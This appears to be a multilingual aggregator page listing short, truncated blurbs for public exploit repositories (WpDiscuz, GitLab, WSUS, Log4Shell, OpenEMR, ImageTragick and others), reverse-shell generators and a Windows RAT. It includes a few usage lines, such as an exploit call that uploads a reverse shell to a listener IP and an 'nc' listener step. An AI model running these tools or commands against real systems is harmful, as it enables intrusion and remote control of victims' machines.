CVE-2025-60787

CVE-2025-60787 - RCE autenticado en motionEye PoC para CVE-2025-60787 que es una vulnerabilidad de RCE autenticado para motionEye con todas las versiones afectadas hasta 0.43.1b4 incluida. Este es un PoC automatizado para la vulnerabilidad descrita en este repositorio. Créditos a prabhatverma47...

staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Una prueba de concepto para la vulnerabilidad CVE-2015-8562 de Joomla Object Injection RCE Introducción/Cambios Este PoC es la segunda versión de la implementación alojada en exploit-db. root@kitploit: -Fixed regenerate session -Added the option to switch from X-Forwarded-For ...

CVE-2018-2893

This software is for learning and communication purposes only and must not be used for any illegal activities The main purpose of this name is to ride on the popularity of 2893 — a reverse shell generator It is primarily used to generate your own external network nc listening object, hoping to he...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE herramienta, solo para compartir e intercambiar, no la utilice para pruebas no autorizadas, de lo contrario no tiene relación con el autor. root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – Deserialización XML RCE Reverse Shell Un PoC enfocado para explotar WSUS CVE-2025-59287 mediante deserialización XML para lograr una reverse shell de Windows. Este script solo admite un payload de reverse shell sin fallback de calc. Objetivo: Windows Server co...

cve-2022-31898

cve-2022-31898 Exploit POC code for CVE-2022-31898, a command injection for GL-iNet routers with firmware below 3.215 Usage root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R RHOST,...

overkill

Overkill Overkill is an exploit for a patched vulnerability affecting QNAP QTS. Due to the way QNAP discloses vulnerabilities, I'm unsure if this issue has a CVE or not. However, it was likely patched in November 2020 and April 2021. The n-day was "discovered" while doing diff analysis for...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerabilidad que permite ejecución remota de código debido a una falla en el visualizador Timelion de Kibana Configuración del entorno docker 1. Ejecuta el archivo docker-compose.yml adjunto. root@kitploit: docker-comopse up -d 2. Accede a http://127.0.0.1:5601 desde el...

CVE-2020-15227

CVE-2020-15227 DISCLAIMER! I take no responsibility of using it in wild life environment so please do NOT do it. This thingy is just to demonstrate and for test things for sysadmins I made this exploit according to publishing a CVE of David Grudl The founder of Nette foundation as he did not solv...

OpenEMR-RCE

Exploit / PoC de OpenEMR RCE OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path...

dompdf-rce

RCE exploit for dompdf This repository contains a vulnerable demo application using dompdf 1.2.0 and an exploit that achieves remote code execution via a ttf+php polyglot file. For more details, please visit https://positive.security/blog/dompdf-rce Instructions 1. Run the demo application...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - Un Reverse Shell AV-Safe bañado en salsa bellota Salsa Tools es una colección de tres herramientas diferentes que, combinadas, te permiten obtener un reverse shell potenciado...

ImageTragick-CVE-2016-3714-RShell

ImageTragick-CVE-2016-3714-RShell Estos son POCs mvg/svg de CVE-2016-3714 que utilizan bash, nc, php y otras herramientas para construir una reverse shell. Declaración Solo para investigación y hacking ético... Uso 1. Lado del servidor: nc -l - p port number 2. Sube las imágenes a sitios...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

revshellgen

🚀 RevShellGen Generador de Reverse Shell Automatiza la generación de reverse shells con estilo Genera, codifica y captura reverse shells sin complicaciones Características • Instalación • Uso • Tipos de shells • Contribuir 📖 Acerca de RevShellGen es una potente herramienta de línea de comandos qu...

CVE-2022-22947

वांग झेंग के कोड के आधार पर, दो रिवर्स शेल और आउटबाउंड डिटेक्शन जोड़े गए हैं। चलाते समय जो भी मॉड्यूल गायब हो, उसे pip से डाउनलोड कर लें। संदिग्ध URL पता दर्ज करें, ध्यान दें: पोर्ट के बाद '/' न लगाएं। 1. पहले जाँचें कि भेद्यता मौजूद है या नहीं डिफ़ॉल्ट रूप से निष्पादित कमांड whoami है, क्योंकि क...

CVE-2021-44228

CVE-2021-44228 Preuve de concept Log4Shell CVE-2021-44228 Assurez-vous d'utiliser le JDK Java 8. Téléchargement Java 8 Images Crédits Casey Dunham - Shell inverse Java kozmer - PoC initiale Légal L'auteur de ce script n'assume aucune responsabilité quant à l'utilisation de ce code ! Il a été créé...

XeytanWin32-RAT

ADVERTENCIA Este es un RAT con errores, no completado, no estable. Sigue siendo una aplicación "en progreso". Introducción Proyecto creado para matar algo de mi tiempo libre, no se mantiene activamente. Hay muchas cosas que mejorar/arreglar, y llevará tiempo alcanzar estabilidad en este proyecto...